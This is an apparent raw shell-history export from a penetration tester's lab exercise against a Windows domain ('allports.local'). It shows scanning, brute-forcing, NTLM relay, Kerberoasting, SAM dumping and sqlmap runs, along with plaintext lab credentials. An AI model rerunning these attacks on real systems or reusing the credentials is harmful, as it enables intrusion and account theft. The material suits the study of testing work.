_raw: : 1762631912:0;ldapsearch -x -LLL -H ldap://10.10.10.5 -s base -b "" namingContexts\


_raw: : 1762631912:0;subfinder -d rooms.allports.tours


_raw: : 1762631912:0;subfinder -d bb-b142.rooms.allports.tours


_raw: : 1762631912:0;subfinder -d bb-142.rooms.allports.tours


_raw: : 1762631912:0;smbmap -H -d bb-142.rooms.allports.tours


_raw: : 1762631912:0;smbmap -H bb-142.rooms.allports.tours


_raw: : 1762631912:0;nmap -f *.rooms.allports.tours


_raw: : 1762631912:0;rubeus Rubeus.exe Rubeus.exe


_raw: : 1762631912:0;subfinder -d prod.allports.local


_raw: : 1762631854:0;netexec smb 10.0.1.6 -u rdavis -d allports.local -p 'rosdav50'


_raw: : 1762631844:0;nmap -p- -sS --min-rate 100 -Pn -n chat.allports.tours


_raw: : 1762631812:0;hydra -L users.txt -P passwords.txt http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -vV http://10.0.1.11:8081


_raw:
dig prod.allports.local
ifconfig
nmap -p- -Pn -sC -sV -O -T4
cd Downloads
ls
mkdir namp_scans
cd namp_scans
nmap -p- -Pn -sC -sV -O -T4 10.0.1.99 -oA namp_10.0.1.99
ls
sudo apt install dirsearch
dirsearch -u http://10.0.1.99/
rpclient
sudo apt install rpcclient
sudo apt install rpclient
sudo apt update
sudo apt install rpclient
enum4linux -U 10.0.1.6
ldapsearch -H ldaps://prod.allports.local:636/ -x -s base -b '' "(objectClass=*)" "*" +
ldapsearch -H ldaps://dc.allports.local:636/ -x -s base -b '' "(objectClass=*)" "*" +
sudo apt install samba
dnsrecon -d prod.allports.local
nxc smb 10.0.1.99
nxc smb 10.0.1.6
ldapsearch -H ldaps://allports.local:636/ -x -s base -b '' "(objectClass=*)" "*" +
ldapsearch -x -H ldap://10.0.1.6 -D '' -w '' -b "DC=allports.local,DC=aptdc01"
godap
cd ../
git clone https://github.com/Macmod/godap
cd godap
go install .
sudo apt install golang
go install .
godap
godap
ls
godap
go install .
sudo apt install godap
ls
cd ../
ls
ls ~/.local/bin/
ls ~/
ls -al ~/
ls ~/go/bin/godap
nano ~/.bashrc
source ~/bashrc
source ~/.bashrc
ls
godap
ldapsearch -x -H ldap://10.0.1.6 -D '' -w '' -b "DC=allports,DC=local"
ldapsearch -H ldaps://allports.local:636/ -x -s base -b '' "(objectClass=*)" "*" +


_raw: : 1762631755:0;hydra -L users.txt -P passwords.txt http://10.0.1.11:8081 http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -vV


_raw: : 1762631744:0;hydra -l root -P /usr/share/wordlists/metasploit/common_roots.txt -t 6 ssh://10.0.1.11/


_raw:
: 1762631719:0;for i in {1..5}; do\
  curl -X POST -d "username=admin&password=wrong$i" http://10.0.1.11:8081 -s -o /dev/null -w "Attempt $i: %{http_code}\n"\
done


_raw: : 1762631704:0;netexec wmi 10.0.1.6 -u rdavis -d allports.local -p 'rosdav50'


_raw: : 1762631702:0;xsltproc osScan.xml > os-scan.html


_raw: : 1762631697:0;xsltproc osScan.xml os-scan.html


_raw: : 1762631693:0;binwalk -e ../home/pentester/Downloads/silence.mp3 --run-as=root


_raw: : 1762631690:0;xsltproc osScan.xml -O os-scan.html


_raw: : 1762631655:0;netexec rdp 10.0.1.6 -u rdavis -d allports.local -p 'rosdav50'


_raw: : 1762631622:0;netexec winrm 10.0.1.6 -u rdavis -d allports.local -p 'rosdav50'


_raw: : 1762631598:0;hydra -l root -P /usr/share/wordlists/metasploit/common_roots.txt http-get://10.0.1.11/login


_raw: : 1762631586:0;netexec winrm -u rdavis -d allports.local -p 'rosdav50' target 10.0.1.6


_raw: : 1762631575:0;netexec winrm -u rdavis -d allports.local -p 'rosdav50' 10.0.1.6


_raw: : 1762631569:0;hydra -l penny -P /usr/share/wordlists/metasploit/common_roots.txt http-get://10.0.1.11/login


_raw: : 1762631557:0;gobuster dir -u http://10.0.1.15:8090 -w /usr/share/wordlists/dirb/common.txt\


_raw: : 1762631548:0;hydra -l admin -P /usr/share/wordlists/metasploit/common_roots.txt http-form-post://10.0.1.11/login


_raw:
: 1762631529:0;curl -sS -X POST "http://10.0.1.15:8081/api/save_route.php" \\
  -H "Content-Type: application/json" \\
  -d '{\
    "route_name": "testx",\
    "waypoints": [{"name":"A","lat":1.1,"lon":2.2},{"name":"B","lat":3.3,"lon":4.4}],\
    "created_by": "attacker",\
    "notes": "note-test"\
  }' | jq .\


_raw: : 1762631522:0;sqlmap -u "http://10.0.1.15:8081/api/load_routes.php" --data "action=load&id=1" --batch --level=3 --risk=2 --dbs\


_raw: : 1762631500:0;binwalk -e ../home/pentester/Downloads/silence.mp3


_raw: : 1762631482:0;netexec winrm -u rdavis -d allports.local -p rosdav50 -target=10.0.1.6


_raw: : 1762631469:0;netexec winrm -u rdavis -d allports.local -p rosdav50 -t 10.0.1.6


_raw: : 1762631460:0;netexec winrm -u rdavis -d allports.local -p rosdav50 -target 10.0.1.6


_raw: : 1762631452:0;netexec winrm -u rdavis -d allports.local -p rosdav50 target 10.0.1.6


_raw: : 1762631435:0;netexec winrm -u rdavis -d allports.local -p rosdav50 10.0.1.6


_raw: : 1762631403:0;hydra -l admin -P /usr/share/wordlists/metasploit/common_roots.txt http-get://10.0.1.11/login


_raw: : 1762631377:0;hydra -l admin -P /usr/share/wordlists/metasploit/common_roots.txt http://10.0.1.11/login


_raw:
ls
cat /var/log/command_history.log
clear
ip a
clear
nano /etc/hosts
nmap -Pn -p- -iL 10.0.1.15 -oN 10.0.1.15.scan.txt
nmap -Pn -p- 10.0.1.15 -oN 10.0.1.15.scan.txt
nmap -Pn -p- 10.0.1.20 -oN 10.0.1.20.scan.txt
ls
clear
ls
mkdir nmapScans
ls
mv 10.0.1.15.scan.txt nmapScans/10.0.1.15.scan.txt
ks
ls
mv 10.0.1.20.scan.txt nmapScans/10.0.1.20.scan.txt
ls
cd nmapScans
ls
nmap -Pn -p- 10.0.1.21 -oN 10.0.1.21.scan.txt
ls
clear
nmap -Pn -p- 10.0.1.30 -oN 10.0.1.30.scan.txt
clear
ls
clear
nmap -Pn -p- 10.0.1.99 -oN 10.0.1.99.scan.txt
clear
nmap -Pn -p- 10.0.1.254 -oN 10.0.1.254.scan.txt
clear
nmap -Pn -p- 10.0.1.1 -oN 10.0.1.1.scan.txt
nmap -Pn -p- 10.0.1.6 -oN 10.0.1.6.scan.txt
nmap -Pn -p- 10.0.1.10 -oN 10.0.1.10.scan.txt
nmap -Pn -p- 10.0.1.11 -oN 10.0.1.11.scan.txt
nc 10.0.1.11:8045
nc 10.0.1.11 -p 8045
nc -p 8045 10.0.1.11
nc man
man nc
sudo apt install dirsearch
clear
dirsearch -u http://10.0.1.11 -r --max-recursion-depth 3 --deep-recursive
nslookup Penny.allports.local
nslookup allports.local
nslookup allports.tours
nano /etc/hosts
clear
dirsearch -u http://10.0.1.11/api/share
c;ear
cd ..
sudo nano /etc/hosts


_raw:
sudo nano /etc/hosts
nc -zv 10.0.1.11:8045
nc -zv 10.0.1.11 -p 8045
nc 10.0.1.11 8045
ffuf -u http://10.0.1.11:80/api/share/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ
dirsearch -u http://10.0.1.99:8080/api
dirsearch -u http://10.0.1.99:8080/api/overview
dirsearch -u http://10.0.1.99:8080/api/entrypoints
nc 10.0.1.10 6768
cd ..
nc 10.0.1.15 8090
nc 10.0.1.30 8096
sudo nano /etc/hosts
nc 10.0.1.14 80
nc 10.0.1.14 443
sudo nano /etc/hosts
nslookup rooms.allports.tours
nslookup *.rooms.allports.tours
nslookup BB-A003.rooms.allports.tours
nslookup BB-B143.rooms.allports.tours
nano req.txt
cat req.txt
ffuf -request req.txt -request-proto http -w /usr/share/wordlists/dirb/common.txt:FUZZ
ffuf -request req.txt -request-proto http -w /usr/share/wordlists/dirb/common.txt:FUZZ -fs 628
nano req.txt
ffuf -request req.txt -request-proto http -w /usr/share/wordlists/dirb/common.txt:FUZZ
ping 10.0.254.105
clear
ip a
nslookup chats.allports.tours
nslookup chat.allports.tours
nano /etc/hosts
sudo nano /etc/hosts
nslookup prod.allports.local
sudo nano /etc/hosts
nslookup prod.allports.local
nslookup allports.local
nslookup prod.allports.tours
clear
dirsearch -u https://chat.allports.tours


_raw: : 1762631352:0;ls /usr/share/wordlists/wfuzz -l


_raw: : 1762631262:0;hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt rdp://10.0.1.6


_raw: : 1762631230:0;nmap --help | grep -i script


_raw: : 1762631214:0;dirb https://10.0.1.14/ /usr/share/wordlists/dirb/big.txt


_raw: : 1762631126:0;hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt rdp://10.0.1.6


_raw: : 1762631104:0;hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt ldap3://10.0.1.6


_raw: : 1762631099:0;hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt ldap://10.0.1.6


_raw: : 1762631089:0;hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt smb://10.0.1.6


_raw: : 1762631078:0;hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt SMB://10.0.1.6


_raw: : 1762631066:0;hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt SMB:10.0.1.6:445


_raw: : 1762631033:0;hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt SMB:10.0.1.6


_raw: : 1762631013:0;hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt


_raw: : 1762631001:0;hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt 10.0.1.6 SMB


_raw: : 1762630999:0;mysql -h 10.0.1.15 -P 3306 -u netuser --ssl-verify-server-cert=0 --help | grep -i password


_raw: : 1762630987:0;mysql -h 10.0.1.15 -P 3306 -u netuser --ssl-verify-server-cert=0 -h | grep password


_raw: : 1762630976:0;mysql -h 10.0.1.15 -P 3306 -u netuser --ssl-verify-server-cert=0 --no-password


_raw: : 1762630976:0;gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1762630967:0;strings booking.exe | less


_raw: : 1762630940:0;nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.0.1.99


_raw: : 1762630907:0;xsltproc osScan.xml -o OS-Scan.html


_raw: : 1762630832:0;nikto -h 10.0.1.11 -Tuning 1 -timeout 10 -output nikto_11.html -Format html


_raw: : 1762630783:0;nxc winrm workstations -u rdavis -p rosdav50 -k


_raw: : 1762630772:0;sqlmap -u http://localhost:8080/api/navigation.php?action=status


_raw: : 1762630698:0;nikto -h 10.0.1.14 -Tuning 1 -timeout 10 -output nikto_local.html -Format html


_raw: : 1762630696:0;echo "lpeterson" >> /root/usernames.txt


_raw: : 1762630695:0;dirb http://10.0.1.11/ /usr/share/dirb/wordlists/big.txt


_raw: : 1762630684:0;echo "khill" >> /root/usernames.txt


_raw: : 1762630678:0;dirb http://10.0.1.1 /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1762630676:0;dirb http://10.0.1.11/ /usr/share/dirb/wordlists/common.txt


_raw: : 1762630673:0;nmap --script smb-enum-shares -p139,445 $TARGET20


_raw: : 1762630672:0;tmux source-file ~/.tmux.conf


_raw: : 1762630671:0;echo "scampbell" >> /root/usernames.txt


_raw: : 1762630642:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/small.txt -b "" -s 200,301,302,403 -t 40 -o gobuster_raw.txt


_raw: : 1762630615:0;nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.0.1.15


_raw: : 1762630615:0;nikto -h 10.0.1.4 -Tuning 1 -timeout 10 -output nikto_local.html -Format html


_raw: : 1762630607:0;echo "osanders" >> /root/usernames.txt


_raw: : 1762630606:0;nmap --script smb-os-discovery $TARGET21


_raw: : 1762630596:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/small.txt -s 200,301,302 -t 40 -o gobuster_raw.txt


_raw: : 1762630595:0;nikto -h 10.0.1.4:80 -Tuning 1 -timeout 10 -output nikto_local.html -Format html


_raw: : 1762630595:0;python3 ~/University-of-Central-Florida/scan/md2html.py scan.md


_raw: : 1762630589:0;nmap --script smb-os-discovery $TARGET20


_raw: : 1762630587:0;sudo git clone https://github.com/tmux-plugins/tmux-logging /opt/tmux-logging


_raw: : 1762630580:0;git clone https://github.com/tmux-plugins/tmux-logging /opt/tmux-logging


_raw: : 1762630579:0;chmod 700 .ssh/authorized_keys


_raw: : 1762630577:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/small.txt -s 200,301,302,403 -t 40 -o gobuster_raw.txt


_raw: : 1762630576:0;~/nmap2md/nmap2md.py fixed_scan.xml scan.md > scan.md


_raw: : 1762630575:0;echo "rdavis" >> /root/usernames.txt


_raw: : 1762630574:0;$ git clone https://github.com/tmux-plugins/tmux-logging /opt/tmux-logging


_raw: : 1762630567:0;python3 ~/University-of-Central-Florida/scan/fix_scan.py scan.xml fixed_scan.xml


_raw: : 1762630566:0;echo "srogers" >> /root/usernames.txt


_raw: : 1762630559:0;nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.0.1.99


_raw: : 1762630558:0;ncrack 10.0.1.21 -p rdp:3389 -u Administrator -P usernames.txt


_raw: : 1762630555:0;ncrack10.0.1.21 -p rdp:3389 -u Administrator -P usernames.txt


_raw: : 1762630548:0;echo "ggonzalez1" >> /root/usernames.txt


_raw: : 1762630532:0;ncrack -p rdp://10.0.1.21:3389 -u Administrator -P usernames.txt


_raw: : 1762630522:0;smbserver.py -smb2support s . -user foo -password foo


_raw: : 1762630520:0;echo "jporter" >> /root/usernames.txt


_raw: : 1762630493:0;echo "lvega" >> /root/usernames.txt


_raw: : 1762630470:0;dirb http://10.0.1.6:5985/ /usr/share/dirb/wordlists/common.txt


_raw: : 1762630458:0;impacket-ntlmrelayx -t winrms://10.0.1.6 -smb2support --remove-mic


_raw: : 1762630445:0;ncrack -p rdp://10.0.1.21/5896 -u Administrator -P usernames.txt


_raw: : 1762630441:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/small.txt --wildcard -s 200,301,302,403 -t 40 -o gobuster_raw.txt


_raw: : 1762630438:0;ncrack -p rdp://10.0.1.21:5896 -u Administrator -P usernames.txt


_raw: : 1762630424:0;ncrack -p rdp://10.0.1.21 -u Administrator -P usernames.txt


_raw: : 1762630414:0;ncrack -p rdp://<TARGET_IP> -u Administrator -P usernames.txt


_raw: : 1762630407:0;tmux show-options -g | cat > ~/.tmux.conf


_raw: : 1762630340:0;sudo apt install xfreerdp3-dev


_raw: : 1762630336:0;impacket-ntlmrelayx -t winrms://10.0.1.6 -smb2support --remove-mic


_raw: : 1762630328:0;sudo apt install xfreerdp3


_raw: : 1762630325:0;nxc smb workstations -u default_cred_users  -p Sails@way! -k --continue-on-success


_raw: : 1762630319:0;sudo apt install xfreerdp


_raw: : 1762630314:0;xfreerdp /v:10.0.1.21 /u:APT\\Administrator /cert:ignore\


_raw: : 1762630309:0;nxc smb workstations -u default_cred_users  -p Sails@way! -k


_raw: : 1762630307:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/*


_raw: : 1762630303:0;rpcclient -U "DECKHAND-01" -N nmap -p


_raw: : 1762630301:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1762630294:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/small.txt


_raw: : 1762630293:0;nxc ldap 10.0.1.6 -u users5.txt -p 'Sails@way!' --no-bruteforce --continue-on-success > ldapbrute.txt


_raw: : 1762630282:0;git clone https://github.com/fortra/impacket.git .


_raw: : 1762630256:0;gobuster tftp --server 10.0.1.11 --wordlist=/usr/share/wordlists/dirb/small.txt


_raw: : 1762630254:0;nxc ldap 10.0.1.6 -u users5.txt -p 'Sails@way!' --no-bruteforce -continue-on-success


_raw: : 1762630246:0;gobuster tftp --url 10.0.1.11 --wordlist=/usr/share/wordlists/dirb/small.txt


_raw: : 1762630235:0;nikto -h http://10.0.1.4:80 -Tuning 1 -timeout 10 -output nikto_local.html -Format html


_raw: : 1762630235:0;gobuster fuzz --url 10.0.1.11 --wordlist=/usr/share/wordlists/dirb/small.txt


_raw: : 1762630230:0;nxc ldap 10.0.1.6 -u users5.txt -p 'Sails@way!' --no-bruteforce


_raw: : 1762630223:0;gobuster dir --url 10.0.1.11 --wordlist=/usr/share/wordlists/dirb/small.txt


_raw: : 1762630212:0;git clone https://github.com/fortra/impacket.git .


_raw: : 1762630208:0;nikto -h http://10.0.1.4 -Tuning 1 -timeout 10 -output nikto_local.html -Format html


_raw: : 1762630184:0;gobuster vhost --url 10.0.1.11 --wordlist=/usr/share/wordlists/dirb/small.txt


_raw: : 1762630156:0;searchsploit traefik 3.5.3


_raw: : 1762630154:0;gobuster vhost url 10.0.1.11 wordlist=/usr/share/wordlists/dirb/small.txt


_raw: : 1762630127:0;nmap -p 3389 --script=rdp-enum-encryption,rdrp-enum-encryption -Pn 10.0.1.21\


_raw: : 1762630103:0;[200~nmap -p 3389 --script=rdp-enum-encryption,rdrp-enum-encryption -Pn <TARGET_IP>


_raw: : 1762630101:0;sudo apt install rlwrap -y


_raw: : 1762630090:0;impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support --remove-mic


_raw: : 1762630081:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/apache-user-enum-2.0.txt


_raw: : 1762630064:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --smb2support


_raw: : 1762630062:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt


_raw: : 1762630060:0;nmap -p 3389 --script=rdp-enum-encryption,rdrp-enum-encryption -Pn 10.0.1.21


_raw: : 1762630040:0;nxc smb workstations -u rdavis -p rosdav50 -k --no-write-check --exec-method smbexec --sam


_raw: : 1762630031:0;docker start mermaid-live-editor


_raw: : 1762630025:0;docker start mermaid-live-editor --publish 8080:8080 mermaid-js/mermaid-live-editor


_raw: : 1762630022:0;nxc smb workstations -u rdavis -p rosdav50 -k -X 'whoami' --no-write-check --exec-method smbexec


_raw: : 1762630020:0;docker start --name mermaid-live-editor --publish 8080:8080 mermaid-js/mermaid-live-editor


_raw: : 1762630014:0;docker start --detach --name mermaid-live-editor --publish 8080:8080 mermaid-js/mermaid-live-editor


_raw: : 1762630007:0;nxc smb workstations -u rdavis -p rosdav50 -k -X 'whoami' --no-write-check


_raw: : 1762630005:0;python3 ./main.py | tee main2.py


_raw: : 1762630000:0;impacket-ntlmrelayx -t ldap://10.0.1.6 -i -6 -wh wpad-lab --shadow-credentials --shadow-target 'APT-DC-01$' -debug


_raw: : 1762629990:0;psexec.py allports.local/rdavis:rosdav50@10.0.1.20 -k


_raw: : 1762629989:0;docker run --detach --name mermaid-live-editor --publish 8080:8080 mermaid-js/mermaid-live-editor


_raw: : 1762629970:0;tmux source-file ~/.tmux.conf


_raw: : 1762629957:0;nxc smb workstations -u rdavis -p rosdav50 -k


_raw: : 1762629939:0;nxc winrm workstations -u rdavis -p rosdav50 -k


_raw: : 1762629938:0;tmux source-file ~/.tmux.conf


_raw: : 1762629935:0;docker stop mermaid-live-editor


_raw: : 1762629933:0;impacket-ntlmrelayx -t ldap://10.0.1.6 -i -6 -wh wpad-lab --shadow-credentials --shadow-target 'APT-DC-01$'


_raw: : 1762629924:0;docker run --detach --name mermaid-live-editor --publish 8080:8080 mermaid-js/mermaid-live-editor


_raw: : 1762629923:0;docker stop mermaid-live-editor


_raw: : 1762629920:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt


_raw: : 1762629889:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762629880:0;docker run --detach --name mermaid-live-editor --publish 8080:8080 mermaid-js/mermaid-live-editor


_raw: : 1762629875:0;python3 ./main.py | tee main2.py


_raw: : 1762629863:0;sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"


_raw: : 1762629843:0;GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip 10.0.1.6 'allports.local/svc_stabilize:1gyroscope'


_raw: : 1762629817:0;impacket-ntlmrelayx -t ldap://10.0.1.6 -i -6 -wh wpad-lab


_raw:
clear
enum4linux 10.0.1.6
rdesktop 10.0.1.6
rdesktop 10.0.1.21
rdesktop 10.0.1.20
history
nmap -script vuln 10.0.1.11
nmap -script vuln 10.0.1.11 -o vulns-10_0_1_15.nmap


_raw: : 1762629733:0;sudo apt-get install mysql-server


_raw: : 1762629731:0;docker build -t mermaid-js/mermaid-live-editor .


_raw: : 1762629719:0;docker build -t mermaid-js/mermaid-live-editor .


_raw: : 1762629708:0;git clone https://github.com/mermaid-js/mermaid-live-editor.git


_raw: : 1762629690:0;termshot -scf ~/termshot.png -e -- "rusthound-ce -u rdavis -p rosdav50 -f apt-dc-01.allports.local -i 10.0.1.6 -d allports.local -c All --zip"


_raw: : 1762629687:0;docker build -t mermaid-js/mermaid-live-editor .


_raw: : 1762629671:0;impacket-ntlmrelayx -t winrm://10.0.1.6 --delegate-access -smb2support --remove-mic


_raw:
grep -i PermitRootLogin /etc/ssh/sshd_config
grep -i PasswordAuthentication /etc/ssh/sshd_config
ls -l /etc/passwd /etc/shadow
man ls
man grep
sudo cat /etc/pam.d/common-password
sudo apt update
sudo apt list --upgradable
nikto -h http://<allports.tours> -o nikto.txt
nikto -h http://allports.tours -o nikto.txt
nikto -host http://allports.tours
whois allports.tours
ip a l
nikto -h http://bb-b143.rooms.allports.tours/ -o nikto.txt
cat nikto.txt
sudo nmap -sS -sV -O -p- --min-rate 1000 -oA scan 10.0.1.0/24
nikto -h http://pp-c023.rooms.allports.tours/ -o nikto.txt
nikto -h http://chat.allports.tours/ -o nikto.txt
nikto -h http://pp-c023.rooms.allports.tours/ -o nikto.txt
nikto -h http://pp-c023.rooms.allports.tours/ -C all


_raw: : 1762629649:0;sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"


_raw: : 1762629636:0;tmux show-options -g | cat > ~/.tmux.conf


_raw: : 1762629624:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access -smb2support --remove-mic


_raw: : 1762629603:0;tmux show-options -g > ~/.tmux.conf


_raw: : 1762629591:0;docker run -d --name mermaid-server -p 80:80 tomwright/mermaid-server:latest


_raw: : 1762629554:0;mysql --host=10.0.1.99 -u guest --ssl-verify-server-cert=0 -p


_raw: : 1762629549:0;mysql --host=10.0.1.99 -u guest --ssl-verify-server-cert=0


_raw: : 1762629543:0;nmap --script nbstat.nse $TARGET20


_raw: : 1762629515:0;termshot -scf ~/termshot.png -- "rusthound-ce -u rdavis -p rosdav50 -f apt-dc-01.allports.local -i 10.0.1.6 -d allports.local -c All --zip"


_raw: : 1762629514:0;nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.0.1.99


_raw: : 1762629495:0;docker run -d --name mermaid-server -p 80:80 tomwright/mermaid-server:latest


_raw: : 1762629487:0;nmap --script nbstat.nse $TARGET


_raw: : 1762629476:0;docker run -d --name mermaid-server -p 80:80 tomwright/mermaid-server:latest


_raw: : 1762629462:0;git clone https://github.com/TomWright/mermaid-server.git


_raw:
dnsmap prod.allports.local
enum4linux 10.0.1.14
nmap -Pn -p 139,445 --open 10.0.1.0/24 -oG smb_hosts.gnmap
mkdir -p smb_enum
cd smb_enum
while read -r ip; do\
  echo "[*] enum4linux -> $ip"\
  enum4linux -a "$ip" > "smb_enum_results/${ip}_enum4linux.txt" 2>&1 || true\
done < smb_hosts.txt
vim smb_hosts.txt
while read -r ip; do\
  echo "[*] enum4linux -> $ip"\
  enum4linux -a "$ip" > "smb_enum_results/${ip}_enum4linux.txt" 2>&1 || true\
done < smb_hosts.txt
cd ../
while read -r ip; do\
  echo "[*] enum4linux -> $ip"\
  enum4linux -a "$ip" > "smb_enum/${ip}_enum4linux.txt" 2>&1 || true\
done < smb_hosts.txt
# Run Nmap with SMB scripts\
nmap -p 445 --script smb-enum-users,smb-enum-shares,smb-vuln-ms17-010,smb-vuln-cve2009-3103,smb-os-discovery,smb-protocols -oA smb_enum_results 10.0.1.6\
nmap -p 445 --script smb-enum-users,smb-enum-shares,smb-vuln-ms17-010,smb-vuln-cve2009-3103,smb-os-discovery,smb-mbenum,smb-security-mode -oA smb_enum_verbose 10.0.1.6\
smbclient -L //10.0.1.6 -N\
enum4linux -a 10.0.1.6\
# Check for MS17-010 vulnerability\
nmap -p 445 --script smb-vuln-ms17-010 -oA ms17_vuln_results 10.0.1.6\
nmap -p 445 --script smb-vuln* -oA smb_vuln_full 10.0.1.6\
nmap -p 445 --script smb-vuln* -oA smb_vuln_full 10.0.1.20\
nmap -p 445 --script smb-vuln* -oA smb_vuln_full 10.0.1.21
# Check for MS17-010 vulnerability\
nmap -p 445 --script smb-vuln-ms17-010 -oA ms17_vuln_results 10.0.1.20\
# Check for MS17-010 vulnerability\
nmap -p 445 --script smb-vuln-ms17-010 -oA ms17_vuln_results 10.0.1.21\
smbclient -L //10.0.1.6 -N\
smbclient -L //10.0.1.20 -N\
smbclient -L //10.0.1.21 -N\
smbclient //10.0.1.6/do_connect -N\
gzip -d /usr/share/wordlists/rockyou.txt.gz
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
hydra -t 4 -l administrator -P /usr/share/wordlists/rockyou.txt smb://10.0.1.6
ncrack-p 3389 --user administrator --pass /usr/share/wordlists/rockyou.txt 10.0.1.6
history
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" "(objectClass=*)" > ldap-allports-search.txt\
sudo lsof /var/lib/gvm/feed-update.lock\
sudo fuser -v /var/lib/gvm/feed-update.lock\
smbclient //10.0.1.6/do_connect -N\
# Check for MS17-010 vulnerability\
nmap -p 445 --script smb-vuln-ms17-010 -oA ms17_vuln_results 10.0.1.21\
enum4linux -a 10.0.1.6\
ls
HISTTIMEFORMAT
export HISTTIMEFORMAT="%F %T "
history


_raw: : 1762629406:0;mysql -h 10.0.1.99 -u root --ssl=false -p IamTheCaptain


_raw: : 1762629394:0;crackmapexec winrm 10.0.1.21 -u usernames.txt -p rockyou.txt


_raw: : 1762629387:0;nxc ldap 10.0.1.6 -u ocooper -p "" --asreproast afile


_raw: : 1762629379:0;sudo rustscan -a live_hosts --range=0-65535 -n --no-banner -t 5000 -- -A --open --append-output -oA scan


_raw: : 1762629374:0;rpcclient -U "none" $TARGET


_raw: : 1762629373:0;sudo rustscan -a live_hosts.txt --range=0-65535 -n --no-banner -t 5000 -- -A --open --append-output -oA scan


_raw: : 1762629369:0;mv /usr/share/wordlists/rockyou.txt.gz ,.


_raw: : 1762629363:0;sudo rustscan -a live_hosts.txt --range=0-65535 -n --no-banner -t 5000 --ulimit -- -A --open --append-output -oA scan


_raw: : 1762629349:0;nmap --script smb-enum-shares -p 445 $TARGET


_raw: : 1762629341:0;mv /home/pentester/Downloads/usernames.txt.gz .


_raw: : 1762629331:0;systemctl restart resolvconfd


_raw: : 1762629312:0;systemctl restart resolveconfd


_raw:
docker --version
sudo docker-compose up -d --build


_raw: : 1762629279:0;xfreerdp /u:Administrator /v:$TARGET


_raw: : 1762629271:0;pip install pkg_resources


_raw: : 1762629256:0;xfreerdp /u:Administrator /v:$TARGET


_raw: : 1762629215:0;pip install pkg_resources


_raw: : 1762629187:0;pip install -r requirements.txt


_raw: : 1762629165:0;cp ohmy-pentest-report/ohmy-pentest-report.zsh-theme .


_raw: : 1762629162:0;git clone https://github.com/Bdenneu/CVE-2022-33679.git


_raw: : 1762629156:0;git clone https://github.com/sikumy/ohmy-pentest-report


_raw: print_success "Configuration files backed up with timestamp"\


_raw: echo "  5. Enjoy your riced Kali setup!"\


_raw: echo "  4. Install Nerd Font in your terminal emulator settings"\


_raw: echo "     - Run: p10k configure (to customize further)"\


_raw: echo "     - Comment out: eval \"\$(starship init zsh)\""\


_raw: echo "     - Edit ~/.zshrc and uncomment: ZSH_THEME=\"powerlevel10k/powerlevel10k\""\


_raw: echo "  3. If you want to use Powerlevel10k instead of Starship:"\


_raw: echo "  2. Install tmux plugins by opening tmux and pressing: Ctrl+s then I (capital i)"\


_raw: echo "  1. Restart your terminal or run: exec zsh"\


_raw: echo -e "${GREEN}⃵\x83\xB1            Kali Linux Ricing Complete!                    ⃵\x83\xB1${NC}"\


_raw: print_success "Pentesting environment setup complete"\


_raw: pip3 install --user sqlmap impacket pwntools\


_raw: # Install common pentesting Python packages\


_raw: print_status "Setting up additional pentesting environment..."\


_raw: # 14. Additional pentesting tools setup\


_raw: print_warning "To install tmux plugins, run: tmux new-session -d -s temp && ~/.tmux/plugins/tpm/bin/install_plugins && tmux kill-session -t temp"\


_raw: # TPM requires tmux to be running, so we provide instructions\


_raw: print_status "Installing tmux plugins..."\


_raw: print_success "Zsh is already the default shell"\


_raw: print_success "Default shell changed to zsh (restart terminal to apply)"\


_raw: if [ "$SHELL" != "$(which zsh)" ]; then\


_raw: print_status "Setting zsh as default shell..."\


